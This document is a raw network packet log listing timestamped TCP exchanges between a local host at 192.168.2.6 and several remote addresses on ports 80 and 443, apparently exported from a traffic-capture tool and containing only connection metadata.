Dec 10, 2024 02:50:31.669248104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.669349909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.669540882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.670382023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.670481920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.670522928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.671515942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.671603918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.671643019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.672632933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.672738075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.672841072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.673748970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.673903942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.673943996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.674907923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.675008059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.675076008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.675993919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.676132917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.676172018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.677198887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.677248955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.677289009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.678263903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.678356886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.678399086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.679476023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.679639101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.679693937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.680567980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.680680037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.680723906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.681674004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.681775093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.681812048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.682750940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.682851076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.682888985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.683918953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.684011936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.684079885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.685015917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.685106993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.685168028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.686146975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.686250925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.686292887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.687248945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.687361956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.687406063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.688385010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.688500881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.688560963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.689524889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.689618111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.689663887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.690637112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.690742970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.690782070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.691780090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.691845894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.691883087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.692864895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.692989111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.693032980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.694019079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.694139004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.694185019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.695152044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.695296049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.695343018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.696218014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.744646072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.829224110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.829293966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.829364061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.829536915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.829678059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.829719067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.830657005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.830790997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.830836058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.831840992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.831953049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.831999063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.832943916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.833107948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.833147049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.834009886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.834131002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.834171057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.835213900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.835288048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.835326910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.836297035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.836405039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.836440086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.837416887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.837559938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.837601900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.838540077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.838639975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.838680029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.839679956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.839780092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.839818954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.840805054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.840951920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.840990067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.841892004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.842039108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.842073917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.843082905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.843230009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.843269110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.844147921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.844273090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.844309092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.845380068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.845458984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.845495939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.846378088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.846482038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.846514940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.847505093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.847629070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.847664118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.848660946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.848762989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.848800898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.849772930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.849872112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.849906921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.850939989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.851025105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.851063013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.852006912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.852153063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.852185965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.853156090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.853307009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.853343010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.854278088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.854371071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.854407072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.855424881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.855520964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.855556011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.856513023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.856611013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.856650114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.857681990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.857920885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.857958078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.858772039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.858889103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.858923912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.859911919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.860044956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.860079050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.860996008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.861145020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.861182928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.862133026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.862241983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.862279892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.863259077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.863404989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.863437891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.864393950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.864490032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.864531040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.865511894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.865628958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.865674973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.866662025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.866744995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.866780996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.867767096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.867867947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.867907047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.868868113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.869055033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.869093895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.870021105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.870184898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.870215893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.871121883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.871248960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.871285915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.872260094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.872366905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.872411013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.873433113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.873517990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.873575926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.874524117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.874612093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.874654055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.875614882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.875703096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.875744104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.876733065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.876874924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.876916885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.877867937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.878030062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.878077030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.879007101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.879163980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.879206896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.880141973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.880265951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.880321980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.881257057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.881380081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.881417990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.882397890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.882493973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.882525921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.883491993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.883611917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.883646011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.884583950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.884726048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.884763956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.885751009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.885906935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.885946035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.886873007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.887027979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.887068987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.888003111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.932135105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.021472931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.021514893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.021586895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.021691084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.021815062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.021857977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.022814989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.023010015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.023050070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.024059057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.024070978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.024111986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.025068998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.025168896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.025208950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.026194096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.026285887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.026320934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.027318954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.027440071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.027482986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.028388023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:32.072762966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:32.905864954 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:32.905946016 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:32.910680056 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:32.910686016 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:32.910928011 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:32.914572954 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:32.914643049 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:32.914648056 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:32.914772034 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:32.955342054 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:33.460850000 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:33.461038113 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:33.461102009 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:33.461260080 CET	49762	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:33.461270094 CET	443	49762	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:44.367583990 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:44.367613077 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:44.367825031 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:44.368006945 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:44.368026018 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:45.541090965 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:45.541124105 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:45.541208982 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:45.553845882 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:45.553860903 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:46.063381910 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:46.063786983 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:46.063817978 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:46.064819098 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:46.064893007 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:46.066668034 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:46.066734076 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:46.120037079 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:46.120052099 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:46.167392015 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:47.786324024 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:47.786402941 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:47.788064003 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:47.788072109 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:47.788331032 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:47.792808056 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:47.792967081 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:47.792975903 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:47.793170929 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:47.839330912 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:48.457504988 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:48.457655907 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:48.457719088 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:48.458064079 CET	49811	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:48.458081961 CET	443	49811	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:49.144541025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:55.750436068 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:55.750510931 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:50:55.750673056 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:56.148060083 CET	49804	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:50:56.148086071 CET	443	49804	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:07.938505888 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:07.938529968 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:07.938626051 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:07.939208031 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:07.939222097 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.180593014 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.180694103 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.182212114 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.182224035 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.182435036 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.185745955 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.185801029 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.185807943 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.185931921 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.227334976 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.733681917 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.733849049 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:10.733905077 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.734006882 CET	49944	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:10.734021902 CET	443	49944	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:38.400110960 CET	49701	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:51:38.400275946 CET	49703	80	192.168.2.6	199.232.214.172
Dec 10, 2024 02:51:38.520896912 CET	443	49701	20.190.181.0	192.168.2.6
Dec 10, 2024 02:51:38.521055937 CET	49701	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:51:38.521646023 CET	80	49703	199.232.214.172	192.168.2.6
Dec 10, 2024 02:51:38.521709919 CET	49703	80	192.168.2.6	199.232.214.172
